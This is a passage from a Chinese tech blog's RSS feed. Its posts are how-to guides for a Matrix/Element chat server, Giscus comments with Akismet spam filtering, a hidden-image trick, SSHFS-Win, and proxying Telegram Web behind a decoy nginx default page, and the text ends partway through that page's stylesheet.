<p><img src="https://blog.acofork.com/_astro/2025-08-07-04-13-46-b3720dc7d5946e995cbf6df189d02677.BPA5Jfzz.jpg" alt="" /></p>
|
||
<p>可以通过多种方式使用~</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-07-04-14-58-d5ad87ab42f14ccbc220bf91ba5ec5d6.BWhTgjCp.jpg" alt="" /></p>
|
||
</content:encoded></item><item><title>关于如何加入我们自托管的m.2x.nz端到端加密聊天服务器</title><link>https://blog.acofork.com/posts/element/</link><guid isPermaLink="true">https://blog.acofork.com/posts/element/</guid><description>我在一台主机上托管了synapse,现在你可以使用Element通过我的邀请链接加入这个端到端加密聊天服务器</description><pubDate>Wed, 06 Aug 2025 00:00:00 GMT</pubDate><content:encoded><p>本群已删除 <s>此文本来是针对于 matrix.afo.im 的,现在更改为了 m.2x.nz</s></p>
|
||
<hr />
|
||
<h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>如果你是App,请确保已经使用 m.2x.nz ,并且点击使用Github登录,无需注册</p>
|
||
</blockquote>
|
||
<p>使用浏览器访问: https://matrix.to/#/#acofork:m.2x.nz</p>
|
||
<p>点击 Continue</p>
|
||
<p><img src="https://blog.acofork.com/_astro/bfcae8a0-33a3-462c-a559-d1f2b385a00d.DUxADJ1u.webp" alt="" /></p>
|
||
<p>选择Element 卡片上的 Continue</p>
|
||
<p><img src="https://blog.acofork.com/_astro/788712ac-4b6f-420b-a644-c40f5bd25ddd.DDUciQt-.webp" alt="" /></p>
|
||
<p>选择在浏览器中继续, Continue in your browser</p>
|
||
<p><img src="https://blog.acofork.com/_astro/269d4982-a672-4fe4-9537-bf1e494b17cc.DKhwteRs.webp" alt="" /></p>
|
||
<p>接着来到Element门户页,首先更改语言</p>
|
||
<p><img src="https://blog.acofork.com/_astro/5fadcfe7-772b-496d-a001-a4bdb48294d8.BlGgVGWH.webp" alt="" /></p>
|
||
<p>接着点击登录</p>
|
||
<p><img src="https://blog.acofork.com/_astro/dd10cabf-3455-4aa0-95c6-bb23f9764783.Dw0PFRmB.webp" alt="" /></p>
|
||
<p>编辑 家服务器</p>
|
||
<p><img src="https://blog.acofork.com/_astro/55aada68-f144-461c-8857-d4114ee2e8de.CobE1bjB.webp" alt="" /></p>
|
||
<p>使用 其他自定义服务器: <code>m.2x.nz</code> 。然后点击继续</p>
|
||
<p><img src="https://blog.acofork.com/_astro/afff9570-0bc0-4b95-af1a-13bb6ca02b13.D7EHtoL5.webp" alt="" /></p>
|
||
<p>点击使用Github继续</p>
|
||
<blockquote>
|
||
<p>该服务器已禁用传统的邮箱注册</p>
|
||
</blockquote>
|
||
<p><img src="https://blog.acofork.com/_astro/bc1cddcd-399c-4c4d-a319-38dadc85bb33.DPQNnoT4.webp" alt="" /></p>
|
||
<p>在结束 Github OAuth2 授权 后。浏览器会自动返回到 <code>m.2x.nz</code> 域,点击 Continue</p>
|
||
<p><img src="https://blog.acofork.com/_astro/b0d2fa63-37a9-487e-91e3-b98d6af92307.DeKOylwb.webp" alt="" /></p>
|
||
<p>现在,你已成功登入Matrix</p>
|
||
<p><img src="https://blog.acofork.com/_astro/b8c23540-85af-40f6-b7c5-031543498111.C93ejMjn.webp" alt="" /></p>
|
||
<p>接着,再次访问最开始的邀请链接(在文章开头)。此时会弹出受邀界面,点击加入讨论即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/ca8af0a4-f0fd-43a6-ae8b-5eb50bf61bae.aRQwZ2Ix.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/e1349ad5-a482-43b2-add5-f57cd341e90e.DpMnvnow.webp" alt="" /></p>
|
||
<h1>疑难解答</h1>
|
||
<h3>本服务器</h3>
|
||
<p>无法注册?:直接点击登录,然后通过Github授权即可</p>
|
||
<p>无法登录?:Github用户名不能为纯数字</p>
|
||
<p>如何更改我的密码?:Github单点登录无密码,您只需要保证您的Github账户不丢失/封禁即可</p>
|
||
<h3>联邦</h3>
|
||
<p>如何加入?:输入 <code>#acofork:m.2x.nz</code> 即可加入</p>
|
||
<h3>通知</h3>
|
||
<p>安卓如果无法使用 <code>Google通知</code> 可以尝试安装 https://play.google.com/store/apps/details?id=chat.fluffy.fluffychat 。然后安装Ntfy配置通知 https://github.com/krille-chan/fluffychat/wiki/Push-Notifications-without-Google-Services 。可能需要等一段时间才能自动配置完成</p>
|
||
</content:encoded></item><item><title>为任何站点对接Giscus并且配置反垃圾!</title><link>https://blog.acofork.com/posts/giscus-akismet/</link><guid isPermaLink="true">https://blog.acofork.com/posts/giscus-akismet/</guid><description>你是否在寻找一个评论系统而又不想自托管?又饱受垃圾评论的叨扰?</description><pubDate>Mon, 04 Aug 2025 00:00:00 GMT</pubDate><content:encoded><h1>配置Giscus</h1>
|
||
<blockquote>
|
||
<p>Giscus使用Github Discussion实现存储用户评论,无需自托管</p>
|
||
</blockquote>
|
||
<p>首先你需要创建一个 <strong>公开仓库</strong> (建议新开一个干净的空仓库)</p>
|
||
<p>然后在仓库设置中 <strong>启用</strong> <code>Discussion</code> 功能</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-16-36-image.VFYm64Bh.png" alt="" /></p>
|
||
<p>前往 https://giscus.app/zh-CN</p>
|
||
<p>首先填写你的仓库,通过检查</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-17-42-image.CYhTDyLn.png" alt="" /></p>
|
||
<p>接下来的 <code>映射关系</code> 十分重要!</p>
|
||
<ul>
|
||
<li>
|
||
<p>pathname <strong>(最推荐)</strong>:假如你的文章路径为 <code>posts/helloworld</code> 。那么只要你保证这个路径不变,评论和页面就永远匹配</p>
|
||
</li>
|
||
<li>
|
||
<p>url:只要你换<strong>域名</strong>了,评论和页面就无法匹配</p>
|
||
</li>
|
||
<li>
|
||
<p>title:只要你换<strong>标题</strong>了,评论和页面就无法匹配</p>
|
||
</li>
|
||
</ul>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-18-21-image.kecZMEAV.png" alt="" /></p>
|
||
<p>分类推荐选择 <strong>公告(announcements)</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-22-07-image.CkrKwnRv.png" alt="" /></p>
|
||
<p>特性按需勾选</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-22-25-image.kkRtrkSW.png" alt="" /></p>
|
||
<p>主题按喜好选择。更改后主题会立即呈现</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-22-57-image.BX0-YkCq.png" alt="" /></p>
|
||
<p>最后将这段JS复制,放置在你想作为评论区的区块即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-23-41-image.CFrn9mdf.png" alt="" /></p>
|
||
<h1>配置Akismet</h1>
|
||
<blockquote>
|
||
<p>Akismet (Automattic Kismet) 是应用广泛的一个垃圾留言过滤系统,其作者是大名鼎鼎的 WordPress 创始人 Matt Mullenweg,Akismet 也是 WordPress 默认安装的插件,其使用非常广泛,设计目标便是帮助博客网站来过滤垃圾留言。</p>
|
||
</blockquote>
|
||
<p>注册 <a href="https://akismet.com/">akismet.com</a></p>
|
||
<p>选择 Akismet Personal 订阅,将滑块拉到0$,记录得到的 Akismet API Key</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-27-58-image.1hN1slSz.png" alt="" /></p>
|
||
<p>前往 https://github.com/afoim/giscus-fuwari/blob/main/.github/workflows/akismet-comment-check.yml</p>
|
||
<p>将这个Github Action部署到你的启用了Giscus的仓库</p>
|
||
<p>配置Secret:</p>
|
||
<ul>
|
||
<li>
|
||
<p>AKISMET_API_KEY:你的Akismet API Key</p>
|
||
</li>
|
||
<li>
|
||
<p>GH_TOKEN:前往 https://github.com/settings/tokens 创建一个具有 <code>repo</code> <code>write:discussion</code> <code>user</code> 权限的Github个人令牌<img src="https://blog.acofork.com/_astro/2025-08-04-12-29-06-image.jtztFupm.png" alt="" /></p>
|
||
</li>
|
||
</ul>
|
||
<p>测试反垃圾是否有效,发送内容为 <code>viagra-test-123</code> 的评论。该评论一定会被当作垃圾评论</p>
|
||
<p>查看Github Action是否做出删评行为</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-30-37-image.Dm1M2gBC.png" alt="" /></p>
|
||
<h1>封禁用户</h1>
|
||
<blockquote>
|
||
<p>如果有人一直刷屏但是反垃圾未检测到?</p>
|
||
</blockquote>
|
||
<p>你可以前往该用户个人信息页面手动封禁它</p>
|
||
<p>详见 <a href="https://docs.github.com/zh/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account#blocking-a-user-from-their-profile-page">阻止用户访问您的个人帐户 - GitHub 文档</a></p>
|
||
<h1>防止新用户刷评</h1>
|
||
<blockquote>
|
||
<p>如果有人一直开小号刷评?</p>
|
||
</blockquote>
|
||
<p>使用 https://github.com/你的用户名/你的仓库/settings/interaction_limits</p>
|
||
<p>配置临时交互限制,这样新用户就无法对您的存储库进行任何操作</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-20-43-06-image.DQ_1cjF7.png" alt="" /></p>
|
||
</content:encoded></item><item><title>平平无奇的一张图,拉高曝光就能显现另一张图?</title><link>https://blog.acofork.com/posts/hideimg/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hideimg/</guid><description>教你制作自己的“光棱坦克”!</description><pubDate>Mon, 04 Aug 2025 00:00:00 GMT</pubDate><content:encoded><h1>体验站点</h1>
|
||
<blockquote>
|
||
<p>https://imghide.2x.nz/</p>
|
||
<p>视频教程: https://www.bilibili.com/video/BV1wdh3zYESe/</p>
|
||
</blockquote>
|
||
<h1>原理</h1>
|
||
<p>首先将原图嵌入,然后将隐藏图的亮度降至极低,并以棋盘排列嵌入原图</p>
|
||
<p>最终生成的图片呈现一种灰色网格状</p>
|
||
<p>默认只能看到原图,虽然隐藏图信息仍在,但是太黑了,人眼只会把他们当作黑色像素点处理</p>
|
||
<p>当人为提高曝光后,原图过曝,趋于白色,丢失信息</p>
|
||
<p>而隐藏图被拉亮,逐渐可见</p>
|
||
<p>最终原图消失,而隐藏图完全显现</p>
|
||
</content:encoded></item><item><title>将你的Linux硬盘映射到Windows?</title><link>https://blog.acofork.com/posts/sshfs/</link><guid isPermaLink="true">https://blog.acofork.com/posts/sshfs/</guid><description>如何像Windows一样管理Linux文件?SSHFS来帮你!</description><pubDate>Sun, 03 Aug 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>前往 <a href="https://github.com/winfsp/sshfs-win">winfsp/sshfs-win: SSHFS For Windows</a></p>
|
||
<p>下载并安装</p>
|
||
<p>前往 <a href="https://github.com/evsar3/sshfs-win-manager">evsar3/sshfs-win-manager: A GUI for SSHFS-Win (https://github.com/billziss-gh/sshfs-win)</a></p>
|
||
<p>下载并安装</p>
|
||
<p>打开</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-03-19-19-07-image.B9LiptFK.png" alt="" /></p>
|
||
<p>如果的sshfs-win没有安装在默认位置需要手动指定一下,进入 <code>Settings</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-03-19-20-01-image.D7rsE_iR.png" alt="" /></p>
|
||
<p>接下来点击 <code>Add Connection</code> 懂的都懂</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-03-19-20-24-image.DCdQCfrX.png" alt="" /></p>
|
||
<p>保存后点击连接按钮</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-11-58-52-image.B4jtzmRk.png" alt="" /></p>
|
||
<p>接着你就能在文件资源管理器看到你的盘了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-11-59-20-image.9NZs-idW.png" alt="" /></p>
|
||
</content:encoded></item><item><title>大陆直连TG Web?触手可及!</title><link>https://blog.acofork.com/posts/proxy-tgweb/</link><guid isPermaLink="true">https://blog.acofork.com/posts/proxy-tgweb/</guid><description>TG Web采用前后端分离,前端可以部署到静态托管平台,而后端可以用各种服务反代</description><pubDate>Sat, 02 Aug 2025 00:00:00 GMT</pubDate><content:encoded><h1>注意,将该项目直接绑定到你的域名会吃Abuse</h1>
|
||
<p>推荐将 <code>index.html</code> 重命名。让别人访问根路径无法访问到正常页面即可,但不保证永远不会吃Abuse</p>
|
||
<p>然后创建一个新的 <code>index.html</code> 写入:</p>
|
||
<pre><code>&lt;html&gt;&lt;head&gt;
|
||
&lt;title&gt;Welcome to nginx!&lt;/title&gt;
|
||
&lt;style&gt;
|
||
body {
|
||
width: 35em;
|
||
margin: 0 auto;
|
||
font-family: Tahoma, Verdana, Arial, sans-serif;
|
||
}
|
||
&lt;/style&gt;
|
||
&lt;style data-id="immersive-translate-input-injected-css"&gt;.immersive-translate-input {
|
||
position: absolute;
|
||
top: 0;
|
||
right: 0;
|
||
left: 0;
|
||
bottom: 0;
|
||
z-index: 2147483647;
|
||
display: flex;
|
||
justify-content: center;
|
||
align-items: center;
|
||
}
|
||
.immersive-translate-attach-loading::after {
|
||
content: " ";
|
||
|
||
--loading-color: #f78fb6;
|
||
width: 6px;
|
||
height: 6px;
|
||
border-radius: 50%;
|
||
display: block;
|
||
margin: 12px auto;
|
||
position: relative;
|
||
color: white;
|
||
left: -100px;
|
||
box-sizing: border-box;
|
||
animation: immersiveTranslateShadowRolling 1.5s linear infinite;
|
||
|
||
position: absolute;
|
||
top: 50%;
|
||
left: 50%;
|
||
transform: translate(-2000%, -50%);
|
||
z-index: 100;
|
||
}
|
||
|
||
.immersive-translate-loading-spinner {
|
||
vertical-align: middle !important;
|
||
width: 10px !important;
|
||
height: 10px !important;
|
||
display: inline-block !important;
|
||
margin: 0 4px !important;
|
||
border: 2px rgba(221, 244, 255, 0.6) solid !important;
|
||
border-top: 2px rgba(0, 0, 0, 0.375) solid !important;
|
||
border-left: 2px rgba(0, 0, 0, 0.375) solid !important;
|
||
border-radius: 50% !important;
|
||
padding: 0 !important;
|
||
-webkit-animation: immersive-translate-loading-animation 0.6s infinite linear !important;
|
||
animation: immersive-translate-loading-animation 0.6s infinite linear !important;
|
||
}
|
||
|
||
@-webkit-keyframes immersive-translate-loading-animation {
|
||
from {
|
||
-webkit-transform: rotate(0deg);
|
||
}
|
||
|
||
to {
|
||
-webkit-transform: rotate(359deg);
|
||
}
|
||
}
|
||
|
||
@keyframes immersive-translate-loading-animation {
|
||
from {
|
||
transform: rotate(0deg);
|
||
}
|
||
|
||
to {
|
||
transform: rotate(359deg);
|
||
}
|
||
}
|
||
|
||
.immersive-translate-input-loading {
|
||
--loading-color: #f78fb6;
|
||
width: 6px;
|
||
height: 6px;
|
||
border-radius: 50%;
|
||
display: block;
|
||
margin: 12px auto;
|
||
position: relative;
|
||
color: white;
|
||
left: -100px;
|
||
box-sizing: border-box;
|
||
animation: immersiveTranslateShadowRolling 1.5s linear infinite;
|
||
}
|
||
|
||
@keyframes immersiveTranslateShadowRolling {
|
||
0% {
|
||
box-shadow: 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0),
|
||
0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
|
||
}
|
||
|
||
12% {
|
||
box-shadow: 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0),
|
||
0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
|
||
}
|
||
|
||
25% {
|
||
box-shadow: 110px 0 var(--loading-color), 100px 0 var(--loading-color),
|
||
0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
|
||
}
|
||
|
||
36% {
|
||
box-shadow: 120px 0 var(--loading-color), 110px 0 var(--loading-color),
|
||
100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0);
|
||
}
|
||
|
||
50% {
|
||
box-shadow: 130px 0 var(--loading-color), 120px 0 var(--loading-color),
|
||
110px 0 var(--loading-color), 100px 0 var(--loading-color);
|
||
}
|
||
|
||
62% {
|
||
box-shadow: 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color),
|
||
120px 0 var(--loading-color), 110px 0 var(--loading-color);
|
||
}
|
||
|
||
75% {
|
||
box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
|
||
130px 0 var(--loading-color), 120px 0 var(--loading-color);
|
||
}
|
||
|
||
87% {
|
||
box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
|
||
200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color);
|
||
}
|
||
|
||
100% {
|
||
box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
|
||
200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0);
|
||
}
|
||
}
|
||
|
||
.immersive-translate-toast {
|
||
display: flex;
|
||
position: fixed;
|
||
z-index: 2147483647;
|
||
left: 0;
|
||
right: 0;
|
||
top: 1%;
|
||
width: fit-content;
|
||
padding: 12px 20px;
|
||
margin: auto;
|
||
overflow: auto;
|
||
background: #fef6f9;
|
||
box-shadow: 0px 4px 10px 0px rgba(0, 10, 30, 0.06);
|
||
font-size: 15px;
|
||
border-radius: 8px;
|
||
color: #333;
|
||
}
|
||
|
||
.immersive-translate-toast-content {
|
||
display: flex;
|
||
flex-direction: row;
|
||
align-items: center;
|
||
}
|
||
|
||
.immersive-translate-toast-hidden {
|
||
margin: 0 20px 0 72px;
|
||
text-decoration: underline;
|
||
cursor: pointer;
|
||
}
|
||
|
||
.immersive-translate-toast-close {
|
||
color: #666666;
|
||
font-size: 20px;
|
||
font-weight: bold;
|
||
padding: 0 10px;
|
||
cursor: pointer;
|
||
}
|
||
|
||
@media screen and (max-width: 768px) {
|
||
.immersive-translate-toast {
|
||
top: 0;
|
||
padding: 12px 0px 0 10px;
|
||
}
|
||
.immersive-translate-toast-content {
|
||
flex-direction: column;
|
||
text-align: center;
|
||
}
|
||
.immersive-translate-toast-hidden {
|
||
margin: 10px auto;
|
||
}
|
||
}
|
||
|
||
.immersive-translate-modal {
|
||
display: none;
|
||
position: fixed;
|
||
z-index: 2147483647;
|
||
left: 0;
|
||
top: 0;
|
||
width: 100%;
|
||
height: 100%;
|
||
overflow: auto;
|
||
background-color: rgb(0, 0, 0);
|
||
background-color: rgba(0, 0, 0, 0.4);
|
||
font-size: 15px;
|
||
}
|
||
|
||
.immersive-translate-modal-content {
|
||
background-color: #fefefe;
|
||
margin: 10% auto;
|
||
padding: 40px 24px 24px;
|
||
border-radius: 12px;
|
||
width: 350px;
|
||
font-family: system-ui, -apple-system, "Segoe UI", "Roboto", "Ubuntu",
|
||
"Cantarell", "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji",
|
||
"Segoe UI Symbol", "Noto Color Emoji";
|
||
position: relative;
|
||
}
|
||
|
||
@media screen and (max-width: 768px) {
|
||
.immersive-translate-modal-content {
|
||
margin: 50% auto !important;
|
||
}
|
||
}
|
||
|
||
.immersive-translate-modal .immersive-translate-modal-content-in-input {
|
||
max-width: 500px;
|
||
}
|
||
.immersive-translate-modal-content-in-input .immersive-translate-modal-body {
|
||
text-align: left;
|
||
max-height: unset;
|
||
}
|
||
|
||
.immersive-translate-modal-title {
|
||
text-align: center;
|
||
font-size: 16px;
|
||
font-weight: 700;
|
||
color: #333333;
|
||
}
|
||
|
||
.immersive-translate-modal-body {
|
||
text-align: center;
|
||
font-size: 14px;
|
||
font-weight: 400;
|
||
color: #333333;
|
||
margin-top: 24px;
|
||
}
|
||
|
||
@media screen and (max-width: 768px) {
|
||
.immersive-translate-modal-body {
|
||
max-height: 250px;
|
||
overflow-y: auto;
|
||
}
|
||
}
|
||
|
||
.immersive-translate-close {
|
||
color: #666666;
|
||
position: absolute;
|
||
right: 16px;
|
||
top: 16px;
|
||
font-size: 20px;
|
||
font-weight: bold;
|
||
}
|
||
|
||
.immersive-translate-close:hover,
|
||
.immersive-translate-close:focus {
|
||
text-decoration: none;
|
||
cursor: pointer;
|
||
}
|
||
|
||
.immersive-translate-modal-footer {
|
||
display: flex;
|
||
justify-content: center;
|
||
flex-wrap: wrap;
|
||
margin-top: 24px;
|
||
}
|
||
|
||
.immersive-translate-btn {
|
||
width: fit-content;
|
||
color: #fff;
|
||
background-color: #ea4c89;
|
||
border: none;
|
||
font-size: 14px;
|
||
margin: 0 8px;
|
||
padding: 9px 30px;
|
||
border-radius: 5px;
|
||
display: flex;
|
||
align-items: center;
|
||
justify-content: center;
|
||
cursor: pointer;
|
||
transition: background-color 0.3s ease;
|
||
}
|
||
|
||
.immersive-translate-btn-container {
|
||
display: flex;
|
||
flex-direction: column;
|
||
align-items: center;
|
||
justify-content: center;
|
||
gap: 8px;
|
||
}
|
||
|
||
.immersive-translate-btn:hover {
|
||
background-color: #f082ac;
|
||
}
|
||
.immersive-translate-btn:disabled {
|
||
opacity: 0.6;
|
||
cursor: not-allowed;
|
||
}
|
||
.immersive-translate-btn:disabled:hover {
|
||
background-color: #ea4c89;
|
||
}
|
||
|
||
.immersive-translate-link-btn {
|
||
background-color: transparent;
|
||
color: #ea4c89;
|
||
border: none;
|
||
cursor: pointer;
|
||
height: 30px;
|
||
line-height: 30px;
|
||
}
|
||
|
||
.immersive-translate-cancel-btn {
|
||
/* gray color */
|
||
background-color: rgb(89, 107, 120);
|
||
}
|
||
|
||
.immersive-translate-cancel-btn:hover {
|
||
background-color: hsl(205, 20%, 32%);
|
||
}
|
||
|
||
.immersive-translate-action-btn {
|
||
background-color: transparent;
|
||
color: #ea4c89;
|
||
border: 1px solid #ea4c89;
|
||
}
|
||
|
||
.immersive-translate-btn svg {
|
||
margin-right: 5px;
|
||
}
|
||
|
||
.immersive-translate-link {
|
||
cursor: pointer;
|
||
user-select: none;
|
||
-webkit-user-drag: none;
|
||
text-decoration: none;
|
||
color: #ea4c89;
|
||
-webkit-tap-highlight-color: rgba(0, 0, 0, 0.1);
|
||
}
|
||
|
||
.immersive-translate-primary-link {
|
||
cursor: pointer;
|
||
user-select: none;
|
||
-webkit-user-drag: none;
|
||
text-decoration: none;
|
||
color: #ea4c89;
|
||
-webkit-tap-highlight-color: rgba(0, 0, 0, 0.1);
|
||
}
|
||
|
||
.immersive-translate-modal input[type="radio"] {
|
||
margin: 0 6px;
|
||
cursor: pointer;
|
||
}
|
||
|
||
.immersive-translate-modal label {
|
||
cursor: pointer;
|
||
}
|
||
|
||
.immersive-translate-close-action {
|
||
position: absolute;
|
||
top: 2px;
|
||
right: 0px;
|
||
cursor: pointer;
|
||
}
|
||
|
||
.imt-image-status {
|
||
background-color: rgba(0, 0, 0, 0.5) !important;
|
||
display: flex !important;
|
||
flex-direction: column !important;
|
||
align-items: center !important;
|
||
justify-content: center !important;
|
||
border-radius: 16px !important;
|
||
}
|
||
.imt-image-status img,
|
||
.imt-image-status svg,
|
||
.imt-img-loading {
|
||
width: 28px !important;
|
||
height: 28px !important;
|
||
margin: 0 0 8px 0 !important;
|
||
min-height: 28px !important;
|
||
min-width: 28px !important;
|
||
position: relative !important;
|
||
}
|
||
.imt-img-loading {
|
||
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAA4CAMAAACfWMssAAAAtFBMVEUAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////oK74hAAAAPHRSTlMABBMIDyQXHwyBfFdDMSw+OjXCb+5RG51IvV/k0rOqlGRM6KKMhdvNyZBz9MaupmxpWyj437iYd/yJVNZeuUC7AAACt0lEQVRIx53T2XKiUBCA4QYOiyCbiAsuuGBcYtxiYtT3f6/pbqoYHVFO5r+iivpo6DpAWYpqeoFfr9f90DsYAuRSWkFnPO50OgR9PwiCUFcl2GEcx+N/YBh6pvKaefHlUgZd1zVe0NbYcQjGBfzrPE8Xz8aF+71D8gG6DHFPpc4a7xFiCDuhaWgKgGIJQ3d5IMGDrpS4S5KgpIm+en9f6PlAhKby4JwEIxlYJV9h5k5nee9GoxHJ2IDSNB0dwdad1NAxDJ/uXDHYmebdk4PdbkS58CIVHdYSUHTYYRWOJblWSyu2lmy3KNFVJNBhxcuGW4YBVCbYGRZwIooipHsNqjM4FbgOQqQqSKQQU9V8xmi1QlgHqQQ6DDBvRUVCDirs+EzGDGOQTCATgtYTnbCVLgsVgRE0T1QE0qHCFAht2z6dLvJQs3Lo2FQoDxWNUiBhaP4eRgwNkI+dAjVOA/kUrIDwf3CG8NfNOE0eiFotSuo+rBiq8tD9oY4Qzc6YJw99hl1wzpQvD7ef2M8QgnOGJfJw+EltQc+oX2yn907QB22WZcvlUpd143dqQu+8pCJZuGE4xCuPXJqqcs5sNpsI93Rmzym1k4Npk+oD1SH3/a3LOK/JpUBpWfqNySxWzCfNCUITuDG5dtuphrUJ1myeIE9bIsPiKrfqTai5WZxbhtNphYx6GEIHihyGFTI69lje/rxajdh0s0msZ0zYxyPLhYCb1CyHm9Qsd2H37Y3lugVwL9kNh8Ot8cha6fUNQ8nuXi5z9/ExsAO4zQrb/ev1yrCB7lGyQzgYDGuxq1toDN/JGvN+HyWNHKB7zEoK+PX11e12G431erGYzwmytAWU56fkMHY5JJnDRR2eZji3AwtIcrEV8Cojat/BdQ7XOwGV1e1hDjGGjXbdArm8uJZtCH5MbcctVX8A1WpqumJHwckAAAAASUVORK5CYII=");
|
||
background-size: 28px 28px;
|
||
animation: image-loading-rotate 1s linear infinite !important;
|
||
}
|
||
|
||
.imt-image-status span {
|
||
color: var(--bg-2, #fff) !important;
|
||
font-size: 14px !important;
|
||
line-height: 14px !important;
|
||
font-weight: 500 !important;
|
||
font-family: "PingFang SC", Arial, sans-serif !important;
|
||
}
|
||
|
||
@keyframes image-loading-rotate {
|
||
from {
|
||
transform: rotate(360deg);
|
||
}
|
||
to {
|
||
transform: rotate(0deg);
|
||
}
|
||
}
|
||
&lt;/style&gt;&lt;/head&gt;
|
||
&lt;body&gt;
|
||
&lt;h1&gt;Welcome to nginx!&lt;/h1&gt;
|
||
&lt;p&gt;If you see this page, the nginx web server is successfully installed and
|
||
working. Further configuration is required.&lt;/p&gt;
|
||
|
||
&lt;p&gt;For online documentation and support please refer to
|
||
&lt;a href="http://nginx.org/"&gt;nginx.org&lt;/a&gt;.&lt;br&gt;
|
||
Commercial support is available at
|
||
&lt;a href="http://nginx.com/"&gt;nginx.com&lt;/a&gt;.&lt;/p&gt;
|
||
|
||
&lt;p&gt;&lt;em&gt;Thank you for using nginx.&lt;/em&gt;&lt;/p&gt;
|
||
|
||
|
||
&lt;div id="screenity-ui"&gt;&lt;div class="screenity-shadow-dom"&gt;&lt;div&gt;&lt;div class="screenity-scrollbar"&gt;&lt;/div&gt;&lt;div class="screenity-scrollbar"&gt;&lt;/div&gt;&lt;/div&gt;&lt;style type="text/css"&gt;
|
||
#screenity-ui, #screenity-ui div {
|
||
background-color: unset;
|
||
padding: unset;
|
||
width: unset;
|
||
box-shadow: unset;
|
||
display: unset;
|
||
margin: unset;
|
||
border-radius: unset;
|
||
}
|
||
.screenity-outline {
|
||
position: absolute;
|
||
z-index: 99999999999;
|
||
border: 2px solid #3080F8;
|
||
outline-offset: -2px;
|
||
pointer-events: none;
|
||
border-radius: 5px!important;
|
||
}
|
||
.screenity-blur {
|
||
filter: blur(10px)!important;
|
||
}
|
||
.screenity-shadow-dom * {
|
||
transition: unset;
|
||
}
|
||
.screenity-shadow-dom .TooltipContent {
|
||
border-radius: 30px!important;
|
||
background-color: #29292F!important;
|
||
padding: 10px 15px!important;
|
||
font-size: 12px;
|
||
margin-bottom: 10px!important;
|
||
bottom: 100px;
|
||
line-height: 1;
|
||
font-family: 'Satoshi-Medium', sans-serif;
|
||
z-index: 99999999!important;
|
||
color: #FFF;
|
||
box-shadow: hsl(206 22% 7% / 35%) 0px 10px 38px -10px, hsl(206 22% 7% / 20%) 0px 10px 20px -15px!important;
|
||
user-select: none;
|
||
transition: opacity 0.3 ease-in-out;
|
||
will-change: transform, opacity;
|
||
animation-duration: 400ms;
|
||
animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1);
|
||
will-change: transform, opacity;
|
||
}
|
||
|
||
.screenity-shadow-dom .hide-tooltip {
|
||
display: none!important;
|
||
}
|
||
|
||
.screenity-shadow-dom .tooltip-tall {
|
||
margin-bottom: 20px;
|
||
}
|
||
|
||
.screenity-shadow-dom .tooltip-small {
|
||
margin-bottom: 5px;
|
||
}
|
||
|
||
.screenity-shadow-dom .TooltipContent[data-state='delayed-open'][data-side='top'] {
|
||
animation-name: slideDownAndFade;
|
||
}
|
||
.screenity-shadow-dom .TooltipContent[data-state='delayed-open'][data-side='right'] {
|
||
animation-name: slideLeftAndFade;
|
||
}
|
||
.screenity-shadow-dom.TooltipContent[data-state='delayed-open'][data-side='bottom'] {
|
||
animation-name: slideUpAndFade;
|
||
}
|
||
.screenity-shadow-dom.TooltipContent[data-state='delayed-open'][data-side='left'] {
|
||
animation-name: slideRightAndFade;
|
||
}
|
||
|
||
@keyframes slideUpAndFade {
|
||
from {
|
||
opacity: 0;
|
||
transform: translateY(2px);
|
||
}
|
||
to {
|
||
opacity: 1;
|
||
transform: translateY(0);
|
||
}
|
||
}
|
||
|
||
@keyframes slideRightAndFade {
|
||
from {
|
||
opacity: 0;
|
||
transform: translateX(-2px);
|
||
}
|
||
to {
|
||
opacity: 1;
|
||
transform: translateX(0);
|
||
}
|
||
}
|
||
|
||
@keyframes slideDownAndFade {
|
||
from {
|
||
opacity: 0;
|
||
transform: translateY(-2px);
|
||
}
|
||
to {
|
||
opacity: 1;
|
||
transform: translateY(0);
|
||
}
|
||
}
|
||
|
||
@keyframes slideLeftAndFade {
|
||
from {
|
||
opacity: 0;
|
